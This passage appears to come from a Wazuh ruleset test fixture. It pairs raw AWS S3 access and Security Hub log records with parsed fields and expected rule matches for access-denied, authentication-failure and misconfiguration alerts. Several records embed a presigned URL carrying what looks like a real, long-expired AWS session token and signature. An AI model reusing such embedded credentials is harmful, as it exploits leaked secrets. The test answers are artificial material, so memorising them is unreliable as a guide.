cfg/retry-mode/legacy", "aws.version_id": "-", "integration": "aws"}, "field_names": ["aws.authentication_type", "aws.bucket", "aws.bucket_owner", "aws.bytes_sent", "aws.cipher_suite", "aws.error_code", "aws.host_header", "aws.host_id", "aws.http_status", "aws.key", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.object_sent", "aws.operation", "aws.referer", "aws.remote_ip", "aws.request_id", "aws.request_uri", "aws.requester", "aws.signature_version", "aws.source", "aws.time", "aws.tls_version", "aws.total_time", "aws.turn_around_time", "aws.user_agent", "aws.version_id", "integration"], "rule": "80367", "level": "5", "expected_decoder": "json", "expected_rule": "80367", "rule_matches_expected": true, "ini_file": "aws_s3_access.ini", "section": "Generic ERROR."} +{"log": "{\"integration\": \"aws\", \"aws\": {\"log_info\": {\"aws_account_alias\": \"\", \"log_file\": \"access_logs/2021-04-29-09-16-56-7297D7461A5CBE77\", \"s3bucket\": \"wazuh-aws-wodle\"}, \"bucket_owner\": \"3ab1235e25ea9e94ff9b7e4e379ba6b0c872cd36c096e1ac8cce7df433b47101\", \"bucket\": \"wazuh-cloudtrail\", \"time\": \"29/Apr/2021:08:59:21 +0000\", \"remote_ip\": \"213.194.148.169\", \"requester\": \"-\", \"request_id\": \"0EC86NTN8Y97ACDW\", \"operation\": \"REST.GET.OBJECT\", \"key\": \"favicon.ico\", \"request_uri\": \"GET /favicon.ico HTTP/1.1\", \"http_status\": \"403\", \"error_code\": \"AccessDenied\", \"bytes_sent\": \"243\", \"object_sent\": \"-\", \"total_time\": \"13\", \"turn_around_time\": \"-\", \"referer\": \"https://wazuh-cloudtrail.s3.us-east-1.amazonaws.com/AWSLogs/166157441623/CloudTrail/us-east-1/2021/04/29/166157441623_CloudTrail_us-east-1_20210429T0000Z_G1vOYSX8NpPp1yb2.json.gz?response-content-disposition=inline&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEPn%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCWV1LXdlc3QtMyJIMEYCIQCKokRRbfrUEbPdYHNW%2BNG4DRAi3gxlcVsWTBswmTEj4gIhAIH%2B2OXjpVR9j2kumUcXz%2FJSy5pqDoSOFuigMy%2FwNtacKpEDCHIQABoMMTY2MTU3NDQxNjIzIgwJLRknE%2B7%2FMtpQ7rUq7gLTQog%2B8r%2F%2FR4le%2F%2F%2F15QyZuu9VPuHbUab77oPR4XudNmUGS0rTEEuL7y6XCb22M8piKNem2aMkywEMwp1Z6uMfps8R16H35r%2Bj6K5Ow84yyHHlDH0H9cynTaAweFH0Lskub59fBwRBj9COEQmylKjthLqEBhSsg99D%2ByxzmVT15OHO%2BFJZycgELyK%2FZ32jRhDIG0JL1Z%2F41VRUZJDGnvjVQYWfr3rZIRTQsAEghJmxRYIgLL51IzR9yPGYo9kfG4l9dxP9bHJkuyo5754FVaoQyNdNNmYyrQc2BORXskRQgIHAx937INaQhWFOp2w6MZnVChbb8snybpTs8vXbqfxrgyBkEop%2BdNtymj8c%2FSZPssv5S1kqPD1Avbkn14lipILMrS1ujSW0R5y%2F37NagNJ2xjA35iy0zYrlvU7ipx%2FwVZESyAA0Jb%2F8JN6f6xV9NdVXRdZC9MDZpOX%2Bv6gm%2FVzdVukorBiFlYIxbJJLleUw%2BN%2BphAY6sgJndd0zSELg%2Fo07zRYq0AbvOdns6HtcQbAAyUBVQsA2GXhl5zYto%2BqQ97TNcez5sYpOxylplQNcu0xeTFasufucPQnEaBWQAgRhyKZGhORiTi1aIprdg5cvT1hBf0ttS78YLVNOLZQCFp7NdZAVOtJXlOrz7TpIiwQm1OxqzFSgnn13PNHrFjiNEBgk16207083RTIkioB%2BNCzLpRluhURbfSNiDWb15WvxLchIY2o5L9cdyr1Ih0BuymW09snZFulWGkqImpby%2FEAfKMGCgtM2zf4lVW%2BIAh6%2BlGtHAwir7dx2sElB3I4yPUfL%2FyjzYJlstmoSng4cCiVW6ljTXtNUvwDYsI10tynFpzLagsL%2B8Cde%2BF4BtRrCpL7gwSN5fzQOF%2FGQZrBPpFlZlp5GEOoltp4%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20210429T085920Z&X-Amz-SignedHeaders=host&X-Amz-Expires=300&X-Amz-Credential=ASIASNL6BLJLX5CGRFB7%2F20210429%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=f6b108ea19ce136eef97ac65cc60d4d8b644f44a60f9fed3f108e85655d938ab\", \"user_agent\": \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.152 Safari/537.36\", \"version_id\": \"-\", \"host_id\": \"IzZPYtJFGFHjl+wNZa73b/d/xowqZFBZI5Ayxr+pT7qgVIzSJDOgPFLUWzB+huF2PMsu2T5z1H0=\", \"signature_version\": \"-\", \"cipher_suite\": \"ECDHE-RSA-AES128-GCM-SHA256\", \"authentication_type\": \"-\", \"host_header\": \"wazuh-cloudtrail.s3.us-east-1.amazonaws.com\", \"tls_version\": \"TLSv1.2\", \"source\": \"s3_server_access\"}}", "decoder": "json", "parent": "", "fields": {"aws.authentication_type": "-", "aws.bucket": "wazuh-cloudtrail", "aws.bucket_owner": "3ab1235e25ea9e94ff9b7e4e379ba6b0c872cd36c096e1ac8cce7df433b47101", "aws.bytes_sent": "243", "aws.cipher_suite": "ECDHE-RSA-AES128-GCM-SHA256", "aws.error_code": "AccessDenied", "aws.host_header": "wazuh-cloudtrail.s3.us-east-1.amazonaws.com", "aws.host_id": "IzZPYtJFGFHjl+wNZa73b/d/xowqZFBZI5Ayxr+pT7qgVIzSJDOgPFLUWzB+huF2PMsu2T5z1H0=", "aws.http_status": "403", "aws.key": "favicon.ico", "aws.log_info.log_file": "access_logs/2021-04-29-09-16-56-7297D7461A5CBE77", "aws.log_info.s3bucket": "wazuh-aws-wodle", "aws.object_sent": "-", "aws.operation": "REST.GET.OBJECT", "aws.referer": "https://wazuh-cloudtrail.s3.us-east-1.amazonaws.com/AWSLogs/166157441623/CloudTrail/us-east-1/2021/04/29/166157441623_CloudTrail_us-east-1_20210429T0000Z_G1vOYSX8NpPp1yb2.json.gz?response-content-disposition=inline&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEPn%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCWV1LXdlc3QtMyJIMEYCIQCKokRRbfrUEbPdYHNW%2BNG4DRAi3gxlcVsWTBswmTEj4gIhAIH%2B2OXjpVR9j2kumUcXz%2FJSy5pqDoSOFuigMy%2FwNtacKpEDCHIQABoMMTY2MTU3NDQxNjIzIgwJLRknE%2B7%2FMtpQ7rUq7gLTQog%2B8r%2F%2FR4le%2F%2F%2F15QyZuu9VPuHbUab77oPR4XudNmUGS0rTEEuL7y6XCb22M8piKNem2aMkywEMwp1Z6uMfps8R16H35r%2Bj6K5Ow84yyHHlDH0H9cynTaAweFH0Lskub59fBwRBj9COEQmylKjthLqEBhSsg99D%2ByxzmVT15OHO%2BFJZycgELyK%2FZ32jRhDIG0JL1Z%2F41VRUZJDGnvjVQYWfr3rZIRTQsAEghJmxRYIgLL51IzR9yPGYo9kfG4l9dxP9bHJkuyo5754FVaoQyNdNNmYyrQc2BORXskRQgIHAx937INaQhWFOp2w6MZnVChbb8snybpTs8vXbqfxrgyBkEop%2BdNtymj8c%2FSZPssv5S1kqPD1Avbkn14lipILMrS1ujSW0R5y%2F37NagNJ2xjA35iy0zYrlvU7ipx%2FwVZESyAA0Jb%2F8JN6f6xV9NdVXRdZC9MDZpOX%2Bv6gm%2FVzdVukorBiFlYIxbJJLleUw%2BN%2BphAY6sgJndd0zSELg%2Fo07zRYq0AbvOdns6HtcQbAAyUBVQsA2GXhl5zYto%2BqQ97TNcez5sYpOxylplQNcu0xeTFasufucPQnEaBWQAgRhyKZGhORiTi1aIprdg5cvT1hBf0ttS78YLVNOLZQCFp7NdZAVOtJXlOrz7TpIiwQm1OxqzFSgnn13PNHrFjiNEBgk16207083RTIkioB%2BNCzLpRluhURbfSNiDWb15WvxLchIY2o5L9cdyr1Ih0BuymW09snZFulWGkqImpby%2FEAfKMGCgtM2zf4lVW%2BIAh6%2BlGtHAwir7dx2sElB3I4yPUfL%2FyjzYJlstmoSng4cCiVW6ljTXtNUvwDYsI10tynFpzLagsL%2B8Cde%2BF4BtRrCpL7gwSN5fzQOF%2FGQZrBPpFlZlp5GEOoltp4%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20210429T085920Z&X-Amz-SignedHeaders=host&X-Amz-Expires=300&X-Amz-Credential=ASIASNL6BLJLX5CGRFB7%2F20210429%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=f6b108ea19ce136eef97ac65cc60d4d8b644f44a60f9fed3f108e85655d938ab", "aws.remote_ip": "213.194.148.169", "aws.request_id": "0EC86NTN8Y97ACDW", "aws.request_uri": "GET /favicon.ico HTTP/1.1", "aws.requester": "-", "aws.signature_version": "-", "aws.source": "s3_server_access", "aws.time": "29/Apr/2021:08:59:21 +0000", "aws.tls_version": "TLSv1.2", "aws.total_time": "13", "aws.turn_around_time": "-", "aws.user_agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.152 Safari/537.36", "aws.version_id": "-", "integration": "aws"}, "field_names": ["aws.authentication_type", "aws.bucket", "aws.bucket_owner", "aws.bytes_sent", "aws.cipher_suite", "aws.error_code", "aws.host_header", "aws.host_id", "aws.http_status", "aws.key", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.object_sent", "aws.operation", "aws.referer", "aws.remote_ip", "aws.request_id", "aws.request_uri", "aws.requester", "aws.signature_version", "aws.source", "aws.time", "aws.tls_version", "aws.total_time", "aws.turn_around_time", "aws.user_agent", "aws.version_id", "integration"], "rule": "80368", "level": "5", "expected_decoder": "json", "expected_rule": "80368", "rule_matches_expected": true, "ini_file": "aws_s3_access.ini", "section": "Access DENIED."} +{"log": "{\"integration\":\"aws\",\"aws\":{\"log_info\":{\"aws_account_alias\":\"\",\"log_file\":\"access_logs/2021-04-29-09-16-56-7297D7461A5CBE77\",\"s3bucket\":\"wazuh-aws-wodle\"},\"bucket_owner\":\"3ab1235e25ea9e94ff9b7e4e379ba6b0c872cd36c096e1ac8cce7df433b47101\",\"bucket\":\"wazuh-cloudtrail\",\"time\":\"29/Apr/2021:08:59:21 +0000\",\"remote_ip\":\"213.194.148.169\",\"requester\":\"-\",\"request_id\":\"0EC86NTN8Y97ACDW\",\"operation\":\"REST.GET.OBJECT\",\"key\":\"favicon.ico\",\"request_uri\":\"GET /favicon.ico HTTP/1.1\",\"http_status\":\"403\",\"error_code\":\"InvalidSecurity\",\"bytes_sent\":\"243\",\"object_sent\":\"-\",\"total_time\":\"13\",\"turn_around_time\":\"-\",\"referer\":\"https://wazuh-cloudtrail.s3.us-east-1.amazonaws.com/AWSLogs/166157441623/CloudTrail/us-east-1/2021/04/29/166157441623_CloudTrail_us-east-1_20210429T0000Z_G1vOYSX8NpPp1yb2.json.gz?response-content-disposition=inline&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEPn%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCWV1LXdlc3QtMyJIMEYCIQCKokRRbfrUEbPdYHNW%2BNG4DRAi3gxlcVsWTBswmTEj4gIhAIH%2B2OXjpVR9j2kumUcXz%2FJSy5pqDoSOFuigMy%2FwNtacKpEDCHIQABoMMTY2MTU3NDQxNjIzIgwJLRknE%2B7%2FMtpQ7rUq7gLTQog%2B8r%2F%2FR4le%2F%2F%2F15QyZuu9VPuHbUab77oPR4XudNmUGS0rTEEuL7y6XCb22M8piKNem2aMkywEMwp1Z6uMfps8R16H35r%2Bj6K5Ow84yyHHlDH0H9cynTaAweFH0Lskub59fBwRBj9COEQmylKjthLqEBhSsg99D%2ByxzmVT15OHO%2BFJZycgELyK%2FZ32jRhDIG0JL1Z%2F41VRUZJDGnvjVQYWfr3rZIRTQsAEghJmxRYIgLL51IzR9yPGYo9kfG4l9dxP9bHJkuyo5754FVaoQyNdNNmYyrQc2BORXskRQgIHAx937INaQhWFOp2w6MZnVChbb8snybpTs8vXbqfxrgyBkEop%2BdNtymj8c%2FSZPssv5S1kqPD1Avbkn14lipILMrS1ujSW0R5y%2F37NagNJ2xjA35iy0zYrlvU7ipx%2FwVZESyAA0Jb%2F8JN6f6xV9NdVXRdZC9MDZpOX%2Bv6gm%2FVzdVukorBiFlYIxbJJLleUw%2BN%2BphAY6sgJndd0zSELg%2Fo07zRYq0AbvOdns6HtcQbAAyUBVQsA2GXhl5zYto%2BqQ97TNcez5sYpOxylplQNcu0xeTFasufucPQnEaBWQAgRhyKZGhORiTi1aIprdg5cvT1hBf0ttS78YLVNOLZQCFp7NdZAVOtJXlOrz7TpIiwQm1OxqzFSgnn13PNHrFjiNEBgk16207083RTIkioB%2BNCzLpRluhURbfSNiDWb15WvxLchIY2o5L9cdyr1Ih0BuymW09snZFulWGkqImpby%2FEAfKMGCgtM2zf4lVW%2BIAh6%2BlGtHAwir7dx2sElB3I4yPUfL%2FyjzYJlstmoSng4cCiVW6ljTXtNUvwDYsI10tynFpzLagsL%2B8Cde%2BF4BtRrCpL7gwSN5fzQOF%2FGQZrBPpFlZlp5GEOoltp4%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20210429T085920Z&X-Amz-SignedHeaders=host&X-Amz-Expires=300&X-Amz-Credential=ASIASNL6BLJLX5CGRFB7%2F20210429%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=f6b108ea19ce136eef97ac65cc60d4d8b644f44a60f9fed3f108e85655d938ab\",\"user_agent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.152 Safari/537.36\",\"version_id\":\"-\",\"host_id\":\"IzZPYtJFGFHjl+wNZa73b/d/xowqZFBZI5Ayxr+pT7qgVIzSJDOgPFLUWzB+huF2PMsu2T5z1H0=\",\"signature_version\":\"-\",\"cipher_suite\":\"ECDHE-RSA-AES128-GCM-SHA256\",\"authentication_type\":\"-\",\"host_header\":\"wazuh-cloudtrail.s3.us-east-1.amazonaws.com\",\"tls_version\":\"TLSv1.2\",\"source\":\"s3_server_access\"}}", "decoder": "json", "parent": "", "fields": {"aws.authentication_type": "-", "aws.bucket": "wazuh-cloudtrail", "aws.bucket_owner": "3ab1235e25ea9e94ff9b7e4e379ba6b0c872cd36c096e1ac8cce7df433b47101", "aws.bytes_sent": "243", "aws.cipher_suite": "ECDHE-RSA-AES128-GCM-SHA256", "aws.error_code": "InvalidSecurity", "aws.host_header": "wazuh-cloudtrail.s3.us-east-1.amazonaws.com", "aws.host_id": "IzZPYtJFGFHjl+wNZa73b/d/xowqZFBZI5Ayxr+pT7qgVIzSJDOgPFLUWzB+huF2PMsu2T5z1H0=", "aws.http_status": "403", "aws.key": "favicon.ico", "aws.log_info.log_file": "access_logs/2021-04-29-09-16-56-7297D7461A5CBE77", "aws.log_info.s3bucket": "wazuh-aws-wodle", "aws.object_sent": "-", "aws.operation": "REST.GET.OBJECT", "aws.referer": "https://wazuh-cloudtrail.s3.us-east-1.amazonaws.com/AWSLogs/166157441623/CloudTrail/us-east-1/2021/04/29/166157441623_CloudTrail_us-east-1_20210429T0000Z_G1vOYSX8NpPp1yb2.json.gz?response-content-disposition=inline&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEPn%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCWV1LXdlc3QtMyJIMEYCIQCKokRRbfrUEbPdYHNW%2BNG4DRAi3gxlcVsWTBswmTEj4gIhAIH%2B2OXjpVR9j2kumUcXz%2FJSy5pqDoSOFuigMy%2FwNtacKpEDCHIQABoMMTY2MTU3NDQxNjIzIgwJLRknE%2B7%2FMtpQ7rUq7gLTQog%2B8r%2F%2FR4le%2F%2F%2F15QyZuu9VPuHbUab77oPR4XudNmUGS0rTEEuL7y6XCb22M8piKNem2aMkywEMwp1Z6uMfps8R16H35r%2Bj6K5Ow84yyHHlDH0H9cynTaAweFH0Lskub59fBwRBj9COEQmylKjthLqEBhSsg99D%2ByxzmVT15OHO%2BFJZycgELyK%2FZ32jRhDIG0JL1Z%2F41VRUZJDGnvjVQYWfr3rZIRTQsAEghJmxRYIgLL51IzR9yPGYo9kfG4l9dxP9bHJkuyo5754FVaoQyNdNNmYyrQc2BORXskRQgIHAx937INaQhWFOp2w6MZnVChbb8snybpTs8vXbqfxrgyBkEop%2BdNtymj8c%2FSZPssv5S1kqPD1Avbkn14lipILMrS1ujSW0R5y%2F37NagNJ2xjA35iy0zYrlvU7ipx%2FwVZESyAA0Jb%2F8JN6f6xV9NdVXRdZC9MDZpOX%2Bv6gm%2FVzdVukorBiFlYIxbJJLleUw%2BN%2BphAY6sgJndd0zSELg%2Fo07zRYq0AbvOdns6HtcQbAAyUBVQsA2GXhl5zYto%2BqQ97TNcez5sYpOxylplQNcu0xeTFasufucPQnEaBWQAgRhyKZGhORiTi1aIprdg5cvT1hBf0ttS78YLVNOLZQCFp7NdZAVOtJXlOrz7TpIiwQm1OxqzFSgnn13PNHrFjiNEBgk16207083RTIkioB%2BNCzLpRluhURbfSNiDWb15WvxLchIY2o5L9cdyr1Ih0BuymW09snZFulWGkqImpby%2FEAfKMGCgtM2zf4lVW%2BIAh6%2BlGtHAwir7dx2sElB3I4yPUfL%2FyjzYJlstmoSng4cCiVW6ljTXtNUvwDYsI10tynFpzLagsL%2B8Cde%2BF4BtRrCpL7gwSN5fzQOF%2FGQZrBPpFlZlp5GEOoltp4%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20210429T085920Z&X-Amz-SignedHeaders=host&X-Amz-Expires=300&X-Amz-Credential=ASIASNL6BLJLX5CGRFB7%2F20210429%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=f6b108ea19ce136eef97ac65cc60d4d8b644f44a60f9fed3f108e85655d938ab", "aws.remote_ip": "213.194.148.169", "aws.request_id": "0EC86NTN8Y97ACDW", "aws.request_uri": "GET /favicon.ico HTTP/1.1", "aws.requester": "-", "aws.signature_version": "-", "aws.source": "s3_server_access", "aws.time": "29/Apr/2021:08:59:21 +0000", "aws.tls_version": "TLSv1.2", "aws.total_time": "13", "aws.turn_around_time": "-", "aws.user_agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.152 Safari/537.36", "aws.version_id": "-", "integration": "aws"}, "field_names": ["aws.authentication_type", "aws.bucket", "aws.bucket_owner", "aws.bytes_sent", "aws.cipher_suite", "aws.error_code", "aws.host_header", "aws.host_id", "aws.http_status", "aws.key", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.object_sent", "aws.operation", "aws.referer", "aws.remote_ip", "aws.request_id", "aws.request_uri", "aws.requester", "aws.signature_version", "aws.source", "aws.time", "aws.tls_version", "aws.total_time", "aws.turn_around_time", "aws.user_agent", "aws.version_id", "integration"], "rule": "80370", "level": "5", "expected_decoder": "json", "expected_rule": "80370", "rule_matches_expected": true, "ini_file": "aws_s3_access.ini", "section": "AWS S3 Authentication Failure."} +{"log": "{\"integration\": \"aws\", \"aws\": {\"log_info\": {\"log_file\": \"2024/05/01/22/wazuh-security-hub-findings-1-2024-05-01-22-12-07-abcde-fgh-ijkl\", \"s3bucket\":\"abcd-aws-efgh\"}, \"source\": \"securityhub\", \"detail_type\": \"Security Hub Findings - Imported\", \"finding\": {\"ProductArn\": \"arn:aws:securityhub:abcde::product/aws/securityhub\", \"Types\": [\"Software and Configuration Checks/Industry and Regulatory Standards\"], \"Description\": \"Allowing public access to CloudTrail log content might aid an adversary in identifying weaknesses in the affected account's use or configuration. To run this check, Security Hub first uses custom logic to look for the S3 bucket where your CloudTrail logs are stored.\", \"Compliance\": {\"Status\": \"FAILED\", \"SecurityControlId\": \"CloudTrail.6\", \"RelatedRequirements\": [\"CIS AWS Foundations Benchmark v1.2.0/2.7\"], \"AssociatedStandards\": [{\"StandardsId\": \"ruleset/cis-aws-foundations-benchmark/v/1.2.0\"}, {\"StandardsId\": \"standards/aws-foundational-security-best-practices/v/1.0.0\"}]}, \"ProductName\": \"Security Hub\", \"FirstObservedAt\": \"2024-01-22T09:54:13.094Z\", \"CreatedAt\": \"2024-01-22T09:54:13.094Z\", \"LastObservedAt\": \"2024-05-01T22:12:01.146Z\", \"CompanyName\": \"AWS\", \"FindingProviderFields\": {\"Types\": [\"Software and Configuration Checks/Industry and Regulatory Standards\"], \"Severity\": {\"Normalized\": 90, \"Label\": \"CRITICAL\", \"Original\": \"CRITICAL\"}}, \"ProductFields\": {\"RelatedAWSResources:0/name\": \"securityhub-cloud-trail-encryption-enabled-abcde123\", \"RelatedAWSResources:0/type\": \"AWS::Config::ConfigRule\", \"aws/securityhub/ProductName\": \"Security Hub\", \"aws/securityhub/CompanyName\": \"AWS\", \"Resources:0/Id\": \"arn:aws:cloudtrail:abcde:123456789000:trail/david-test-jan-22-2024\", \"aws/securityhub/FindingId\": \"arn:aws:securityhub:abcde::product/aws/securityhub/arn:aws:securityhub:abcde:123456789000:security-control/CloudTrail.6/finding/abcde123-efgh-ijk-567\"}, \"Remediation\": {\"Recommendation\": {\"Text\": \"For information on how to correct this issue, consult the AWS Security Hub controls documentation.\", \"Url\": \"https://docs.aws.amazon.com/console/securityhub/CloudTrail.6/remediation\"}}, \"SchemaVersion\": \"2018-10-08\", \"GeneratorId\": \"security-control/CloudTrail.6\", \"RecordState\": \"ACTIVE\", \"Title\": \"CloudTrail should have encryption at-rest enabled\", \"Workflow\": {\"Status\": \"NEW\"}, \"Severity\": {\"Normalized\": 90, \"Label\": \"CRITICAL\", \"Original\": \"CRITICAL\"}, \"UpdatedAt\": \"2024-05-01T22:11:50.865Z\", \"WorkflowState\": \"NEW\", \"AwsAccountId\": \"123456789000\", \"Region\": \"abcde\", \"Id\": \"arn:aws:securityhub:abcde:123456789000:security-control/CloudTrail.6/finding/abcde123-efgh-ijk-567\", \"Resources\": [{\"Partition\": \"aws\", \"Type\": \"AwsCloudTrailTrail\", \"Region\": \"abcde\", \"Id\": \"arn:aws:cloudtrail:abcde:123456789000:trail/david-test-jan-22-2024\"}], \"ProcessedAt\": \"2024-05-01T22:12:05.695Z\"}}}", "decoder": "json", "parent": "", "fields": {"aws.detail_type": "Security Hub Findings - Imported", "aws.finding.AwsAccountId": "123456789000", "aws.finding.CompanyName": "AWS", "aws.finding.Compliance.AssociatedStandards": "[{'StandardsId': 'ruleset/cis-aws-foundations-benchmark/v/1.2.0'}, {'StandardsId': 'standards/aws-foundational-security-best-practices/v/1.0.0'}]", "aws.finding.Compliance.RelatedRequirements": "['CIS AWS Foundations Benchmark v1.2.0/2.7']", "aws.finding.Compliance.SecurityControlId": "CloudTrail.6", "aws.finding.Compliance.Status": "FAILED", "aws.finding.CreatedAt": "2024-01-22T09:54:13.094Z", "aws.finding.Description": "Allowing public access to CloudTrail log content might aid an adversary in identifying weaknesses in the affected account's use or configuration. To run this check, Security Hub first uses custom logic to look for the S3 bucket where your CloudTrail logs are stored.", "aws.finding.FindingProviderFields.Severity.Label": "CRITICAL", "aws.finding.FindingProviderFields.Severity.Normalized": "90", "aws.finding.FindingProviderFields.Severity.Original": "CRITICAL", "aws.finding.FindingProviderFields.Types": "['Software and Configuration Checks/Industry and Regulatory Standards']", "aws.finding.FirstObservedAt": "2024-01-22T09:54:13.094Z", "aws.finding.GeneratorId": "security-control/CloudTrail.6", "aws.finding.Id": "arn:aws:securityhub:abcde:123456789000:security-control/CloudTrail.6/finding/abcde123-efgh-ijk-567", "aws.finding.LastObservedAt": "2024-05-01T22:12:01.146Z", "aws.finding.ProcessedAt": "2024-05-01T22:12:05.695Z", "aws.finding.ProductArn": "arn:aws:securityhub:abcde::product/aws/securityhub", "aws.finding.ProductName": "Security Hub", "aws.finding.RecordState": "ACTIVE", "aws.finding.Region": "abcde", "aws.finding.Remediation.Recommendation.Text": "For information on how to correct this issue, consult the AWS Security Hub controls documentation.", "aws.finding.Remediation.Recommendation.Url": "https://docs.aws.amazon.com/console/securityhub/CloudTrail.6/remediation", "aws.finding.Resources": "[{'Partition': 'aws', 'Type': 'AwsCloudTrailTrail', 'Region': 'abcde', 'Id': 'arn:aws:cloudtrail:abcde:123456789000:trail/david-test-jan-22-2024'}]", "aws.finding.SchemaVersion": "2018-10-08", "aws.finding.Severity.Label": "CRITICAL", "aws.finding.Severity.Normalized": "90", "aws.finding.Severity.Original": "CRITICAL", "aws.finding.Title": "CloudTrail should have encryption at-rest enabled", "aws.finding.Types": "['Software and Configuration Checks/Industry and Regulatory Standards']", "aws.finding.UpdatedAt": "2024-05-01T22:11:50.865Z", "aws.finding.Workflow.Status": "NEW", "aws.finding.WorkflowState": "NEW", "aws.log_info.log_file": "2024/05/01/22/wazuh-security-hub-findings-1-2024-05-01-22-12-07-abcde-fgh-ijkl", "aws.log_info.s3bucket": "abcd-aws-efgh", "aws.source": "securityhub", "integration": "aws"}, "field_names": ["aws.detail_type", "aws.finding.AwsAccountId", "aws.finding.CompanyName", "aws.finding.Compliance.AssociatedStandards", "aws.finding.Compliance.RelatedRequirements", "aws.finding.Compliance.SecurityControlId", "aws.finding.Compliance.Status", "aws.finding.CreatedAt", "aws.finding.Description", "aws.finding.FindingProviderFields.Severity.Label", "aws.finding.FindingProviderFields.Severity.Normalized", "aws.finding.FindingProviderFields.Severity.Original", "aws.finding.FindingProviderFields.Types", "aws.finding.FirstObservedAt", "aws.finding.GeneratorId", "aws.finding.Id", "aws.finding.LastObservedAt", "aws.finding.ProcessedAt", "aws.finding.ProductArn", "aws.finding.ProductName", "aws.finding.RecordState", "aws.finding.Region", "aws.finding.Remediation.Recommendation.Text", "aws.finding.Remediation.Recommendation.Url", "aws.finding.Resources", "aws.finding.SchemaVersion", "aws.finding.Severity.Label", "aws.finding.Severity.Normalized", "aws.finding.Severity.Original", "aws.finding.Title", "aws.finding.Types", "aws.finding.UpdatedAt", "aws.finding.Workflow.Status", "aws.finding.WorkflowState", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.source", "integration"], "rule": "99836", "level": "12", "expected_decoder": "json", "expected_rule": "99836", "rule_matches_expected": true, "ini_file": "aws_security_hub.ini", "section": "AWS Security Hub - The S3 bucket used to store CloudTrail logs is publicly accessible."} +{"log": "{\"integration\":\"aws\",\"aws\":{\"log_info\":{\"log_file\":\"2024/05/01/22/wazuh-security-hub-findings-1-2024-05-01-22-12-07-abcde-fgh-ijkl\",\"s3bucket\":\"abcd-aws-efgh\"},\"source\":\"securityhub\",\"detail_type\":\"Security Hub Findings - Imported\",\"finding\":{\"ProductArn\":\"arn:aws:securityhub:abcde::product/aws/securityhub\",\"Types\":[\"Protect/Secure development\"],\"Description\":\"This control checks whether an AWS CodeBuild project Bitbucket source repository URL contains personal access tokens or a user name and password.\",\"Compliance\":{\"Status\":\"FAILED\",\"SecurityControlId\":\"CodeBuild.1\",\"RelatedRequirements\":[\"PCI DSS v3.2.1/8.2.1, NIST.800-53.r5 SA-3\"],\"AssociatedStandards\":[{\"StandardsId\":\"ruleset/cis-aws-foundations-benchmark/v/1.2.0\"},{\"StandardsId\":\"standards/aws-foundational-security-best-practices/v/1.0.0\"}]},\"ProductName\":\"Security Hub\",\"FirstObservedAt\":\"2024-01-22T09:54:13.094Z\",\"CreatedAt\":\"2024-01-22T09:54:13.094Z\",\"LastObservedAt\":\"2024-05-01T22:12:01.146Z\",\"CompanyName\":\"AWS\",\"FindingProviderFields\":{\"Types\":[\"Protect/Secure development\"],\"Severity\":{\"Normalized\":0,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"}},\"ProductFields\":{\"RelatedAWSResources:0/name\":\"codebuild-project-source-repo-url-check-abcde123\",\"RelatedAWSResources:0/type\":\"AWS::CodeBuild::Project\",\"aws/securityhub/ProductName\":\"Security Hub\",\"aws/securityhub/CompanyName\":\"AWS\",\"Resources:0/Id\":\"arn:aws:codebuild:abcde:123456789000:trail/david-test-jan-22-2024\",\"aws/securityhub/FindingId\":\"arn:aws:securityhub:abcde::product/aws/securityhub/arn:aws:securityhub:abcde:123456789000:security-control/CodeBuild.1/finding/abcde123-efgh-ijk-567\"},\"Remediation\":{\"Recommendation\":{\"Text\":\"For information on how to correct this issue, consult the AWS Security Hub controls documentation.\",\"Url\":\"https://docs.aws.amazon.com/console/securityhub/CodeBuild.1/remediation\"}},\"SchemaVersion\":\"2018-10-08\",\"GeneratorId\":\"security-control/CodeBuild.1\",\"RecordState\":\"ACTIVE\",\"Title\":\"CodeBuild Bitbucket source repository URLs should not contain sensitive credentials\",\"Workflow\":{\"Status\":\"NEW\"},\"Severity\":{\"Normalized\":0,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"},\"UpdatedAt\":\"2024-05-01T22:11:50.865Z\",\"WorkflowState\":\"NEW\",\"AwsAccountId\":\"123456789000\",\"Region\":\"abcde\",\"Id\":\"arn:aws:securityhub:abcde:123456789000:security-control/CodeBuild.1/finding/abcde123-efgh-ijk-567\",\"Resources\":[{\"Partition\":\"aws\",\"Type\":\"AwsCodeBuild\",\"Region\":\"abcde\",\"Id\":\"arn:aws:codebuild:abcde:123456789000:build/david-test-jan-22-2024\"}],\"ProcessedAt\":\"2024-05-01T22:12:05.695Z\"}}}", "decoder": "json", "parent": "", "fields": {"aws.detail_type": "Security Hub Findings - Imported", "aws.finding.AwsAccountId": "123456789000", "aws.finding.CompanyName": "AWS", "aws.finding.Compliance.AssociatedStandards": "[{'StandardsId': 'ruleset/cis-aws-foundations-benchmark/v/1.2.0'}, {'StandardsId': 